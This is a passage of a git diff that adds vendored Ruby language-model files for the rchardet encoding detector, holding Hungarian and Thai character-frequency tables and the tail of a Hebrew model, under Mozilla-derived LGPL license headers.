+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0, +0,1,0,0,2,0,2,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1, +1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,2,1,1,1,1,1,0,1,0,0,0,0,1,0,1, +0,1,1,1,2,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0, +] + +Win1255HebrewModel = { + 'charToOrderMap' => Win1255_CharToOrderMap, + 'precedenceMatrix' => HebrewLangModel, + 'mTypicalPositiveRatio' => 0.984004, + 'keepEnglishLetter' => false, + 'charsetName' => "windows-1255" +} +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhungarianmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhungarianmodel.rb new file mode 100755 index 00000000..1150595f --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhungarianmodel.rb @@ -0,0 +1,226 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet +# 255: Control characters that usually does not exist in any text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 + +# Character Mapping Table: +Latin2_HungarianCharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, + 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, +253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, + 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, +159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174, +175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190, +191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205, + 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, +221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231, +232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241, + 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85, +245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, +] + +Win1250HungarianCharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, + 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, +253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, + 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, +161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176, +177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190, +191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205, + 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, +221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231, +232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241, + 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87, +245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, +] + +# Model Table: +# total sequences: 100% +# first 512 sequences: 94.7368% +# first 1024 sequences:5.2623% +# rest sequences: 0.8894% +# negative sequences: 0.0009% +HungarianLangModel = [ +0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, +3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, +3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0, +3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3,3,3,3,1,3,3,2,2,0,3,2,3, +0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,3,3,2,3,3,2,2,3,2,3,2,0,3,2,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,3,3,3,3,2,3,3,3,1,2,3,2,2,3,1,2,3,3,2,2,0,3,3,3, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,3,2,3,3,3,3,2,3,3,3,3,0,2,3,2, +0,0,0,1,1,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,1,1,1,3,3,2,1,3,2,2,3,2,1,3,2,2,1,0,3,3,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,2,2,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,3,2,2,3,1,1,3,2,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,1,3,3,3,3,3,2,2,1,3,3,3,0,1,1,2, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,0,3,2,3, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,1,3,2,2,2,3,1,1,3,3,1,1,0,3,3,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,2,3,3,3,3,3,1,2,3,2,2,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,2,2,2,3,1,3,3,2,2,1,3,3,3,1,1,3,1,2,3,2,3,2,2,2,1,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,2,2,3,2,1,0,3,2,0,1,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,1,0,3,3,3,3,0,2,3,0,0,2,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,2,3,3,2,2,2,2,3,3,0,1,2,3,2,3,2,2,3,2,1,2,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +3,3,3,3,3,3,1,2,3,3,3,2,1,2,3,3,2,2,2,3,2,3,3,1,3,3,1,1,0,2,3,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,1,2,2,2,2,3,3,3,1,1,1,3,3,1,1,3,1,1,3,2,1,2,3,1,1,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,2,1,2,1,1,3,3,1,1,1,1,3,3,1,1,2,2,1,2,1,1,2,2,1,1,0,2,2,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,1,1,2,1,1,3,3,1,0,1,1,3,3,2,0,1,1,2,3,1,0,2,2,1,0,0,1,3,2, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,2,1,3,3,3,3,3,1,2,3,2,3,3,2,1,1,3,2,3,2,1,2,2,0,1,2,1,0,0,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,2,2,2,2,3,1,2,2,1,1,3,3,0,3,2,1,2,3,2,1,3,3,1,1,0,2,1,3, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,2,2,2,3,2,3,3,3,2,1,1,3,3,1,1,1,2,2,3,2,3,2,2,2,1,0,2,2,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +1,0,0,3,3,3,3,3,0,0,3,3,2,3,0,0,0,2,3,3,1,0,1,2,0,0,1,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,2,3,3,3,3,3,1,2,3,3,2,2,1,1,0,3,3,2,2,1,2,2,1,0,2,2,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,2,1,3,1,2,3,3,2,2,1,1,2,2,1,1,1,1,3,2,1,1,1,1,2,1,0,1,2,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +2,3,3,1,1,1,1,1,3,3,3,0,1,1,3,3,1,1,1,1,1,2,2,0,3,1,1,2,0,2,1,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,1,0,1,2,1,2,2,0,1,2,3,1,2,0,0,0,2,1,1,1,1,1,2,0,0,1,1,0,0,0,0, +1,2,1,2,2,2,1,2,1,2,0,2,0,2,2,1,1,2,1,1,2,1,1,1,0,1,0,0,0,1,1,0, +1,1,1,2,3,2,3,3,0,1,2,2,3,1,0,1,0,2,1,2,2,0,1,1,0,0,1,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,3,3,2,2,1,0,0,3,2,3,2,0,0,0,1,1,3,0,0,1,1,0,0,2,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,2,2,3,3,1,0,1,3,2,3,1,1,1,0,1,1,1,1,1,3,1,0,0,2,2,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,1,2,2,2,1,0,1,2,3,3,2,0,0,0,2,1,1,1,2,1,1,1,0,1,1,1,0,0,0, +1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,2,1,1,1,1,1,1,0,1,1,1,0,0,1,1, +3,2,2,1,0,0,1,1,2,2,0,3,0,1,2,1,1,0,0,1,1,1,0,1,1,1,1,0,2,1,1,1, +2,2,1,1,1,2,1,2,1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,1,1,1,1,1,1,0,1, +2,3,3,0,1,0,0,0,3,3,1,0,0,1,2,2,1,0,0,0,0,2,0,0,1,1,1,0,2,1,1,1, +2,1,1,1,1,1,1,2,1,1,0,1,1,0,1,1,1,0,1,2,1,1,0,1,1,1,1,1,1,1,0,1, +2,3,3,0,1,0,0,0,2,2,0,0,0,0,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,1,0, +2,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, +3,2,2,0,1,0,1,0,2,3,2,0,0,1,2,2,1,0,0,1,1,1,0,0,2,1,0,1,2,2,1,1, +2,1,1,1,1,1,1,2,1,1,1,1,1,1,0,2,1,0,1,1,0,1,1,1,0,1,1,2,1,1,0,1, +2,2,2,0,0,1,0,0,2,2,1,1,0,0,2,1,1,0,0,0,1,2,0,0,2,1,0,0,2,1,1,1, +2,1,1,1,1,2,1,2,1,1,1,2,2,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1, +1,2,3,0,0,0,1,0,3,2,1,0,0,1,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,2,1, +1,1,0,0,0,1,0,1,1,1,1,1,2,0,0,1,0,0,0,2,0,0,1,1,1,1,1,1,1,1,0,1, +3,0,0,2,1,2,2,1,0,0,2,1,2,2,0,0,0,2,1,1,1,0,1,1,0,0,1,1,2,0,0,0, +1,2,1,2,2,1,1,2,1,2,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,0,0,1, +1,3,2,0,0,0,1,0,2,2,2,0,0,0,2,2,1,0,0,0,0,3,1,1,1,1,0,0,2,1,1,1, +2,1,0,1,1,1,0,1,1,1,1,1,1,1,0,2,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,1, +2,3,2,0,0,0,1,0,2,2,0,0,0,0,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,1,0, +2,1,1,1,1,2,1,2,1,2,0,1,1,1,0,2,1,1,1,2,1,1,1,1,0,1,1,1,1,1,0,1, +3,1,1,2,2,2,3,2,1,1,2,2,1,1,0,1,0,2,2,1,1,1,1,1,0,0,1,1,0,1,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,0,0,0,0,0,2,2,0,0,0,0,2,2,1,0,0,0,1,1,0,0,1,2,0,0,2,1,1,1, +2,2,1,1,1,2,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,1,1,0,1,2,1,1,1,0,1, +1,0,0,1,2,3,2,1,0,0,2,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0, +1,2,1,2,1,2,1,1,1,2,0,2,1,1,1,0,1,2,0,0,1,1,1,0,0,0,0,0,0,0,0,0, +2,3,2,0,0,0,0,0,1,1,2,1,0,0,1,1,1,0,0,0,0,2,0,0,1,1,0,0,2,1,1,1, +2,1,1,1,1,1,1,2,1,0,1,1,1,1,0,2,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1, +1,2,2,0,1,1,1,0,2,2,2,0,0,0,3,2,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0, +1,1,0,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,0,0,1,1,1,0,1,0,1, +2,1,0,2,1,1,2,2,1,1,2,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0, +1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0, +1,2,3,0,0,0,1,0,2,2,0,0,0,0,2,2,0,0,0,0,0,1,0,0,1,0,0,0,2,0,1,0, +2,1,1,1,1,1,0,2,0,0,0,1,2,1,1,1,1,0,1,2,0,1,0,1,0,1,1,1,0,1,0,1, +2,2,2,0,0,0,1,0,2,1,2,0,0,0,1,1,2,0,0,0,0,1,0,0,1,1,0,0,2,1,0,1, +2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, +1,2,2,0,0,0,1,0,2,2,2,0,0,0,1,1,0,0,0,0,0,1,1,0,2,0,0,1,1,1,0,1, +1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1, +1,0,0,1,0,1,2,1,0,0,1,1,1,2,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0, +0,2,1,2,1,1,1,1,1,2,0,2,0,1,1,0,1,2,1,0,1,1,1,0,0,0,0,0,0,1,0,0, +2,1,1,0,1,2,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,2,1,0,1, +2,2,1,1,1,1,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,0,1,0,1,1,1,1,1,0,1, +1,2,2,0,0,0,0,0,1,1,0,0,0,0,2,1,0,0,0,0,0,2,0,0,2,2,0,0,2,0,0,1, +2,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1, +1,1,2,0,0,3,1,0,2,1,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0, +1,2,1,0,1,1,1,2,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0, +2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,2,0,0,0, +2,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,1,0,1, +2,1,1,1,2,1,1,1,0,1,1,2,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,0,1,1,1,1,1,0,0,1,1,2,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0, +1,2,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0, +2,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,2,0,0,1,0,0,1,0,1,0,0,0, +0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0, +0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, +0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, +2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, +0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, +] + +Latin2HungarianModel = { + 'charToOrderMap' => Latin2_HungarianCharToOrderMap, + 'precedenceMatrix' => HungarianLangModel, + 'mTypicalPositiveRatio' => 0.947368, + 'keepEnglishLetter' => true, + 'charsetName' => "ISO-8859-2" +} + +Win1250HungarianModel = { + 'charToOrderMap' => Win1250HungarianCharToOrderMap, + 'precedenceMatrix' => HungarianLangModel, + 'mTypicalPositiveRatio' => 0.947368, + 'keepEnglishLetter' => true, + 'charsetName' => "windows-1250" +} +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langthaimodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langthaimodel.rb new file mode 100755 index 00000000..d430df34 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langthaimodel.rb @@ -0,0 +1,201 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet +# 255: Control characters that usually does not exist in any text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 + +# The following result for thai was collected from a limited sample (1M). + +# Character Mapping Table: +TIS620CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111, # 40 +188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253, # 50 +253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82, # 60 + 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253, # 70 +209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222, +223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235, +236, 5, 30,237, 24,238, 75, 8, 26, 52, 34, 51,119, 47, 58, 57, + 49, 53, 55, 43, 20, 19, 44, 14, 48, 3, 17, 25, 39, 62, 31, 54, + 45, 9, 16, 2, 61, 15,239, 12, 42, 46, 18, 21, 76, 4, 66, 63, + 22, 10, 1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244, + 11, 28, 41, 29, 33,245, 50, 37, 6, 7, 67, 77, 38, 93,246,247, + 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, +] + +# Model Table: +# total sequences: 100% +# first 512 sequences: 92.6386% +# first 1024 sequences:7.3177% +# rest sequences: 1.0230% +# negative sequences: 0.0436% +ThaiLangModel = [ +0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, +0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, +3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, +0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1, +3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2, +3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1, +3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2, +3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1, +3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1, +3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0, +3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1, +2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1, +3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1, +0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1, +0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0, +3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2, +1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0, +3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3, +3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0, +1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2, +0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0, +2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3, +0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0, +3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1, +2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0, +3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2, 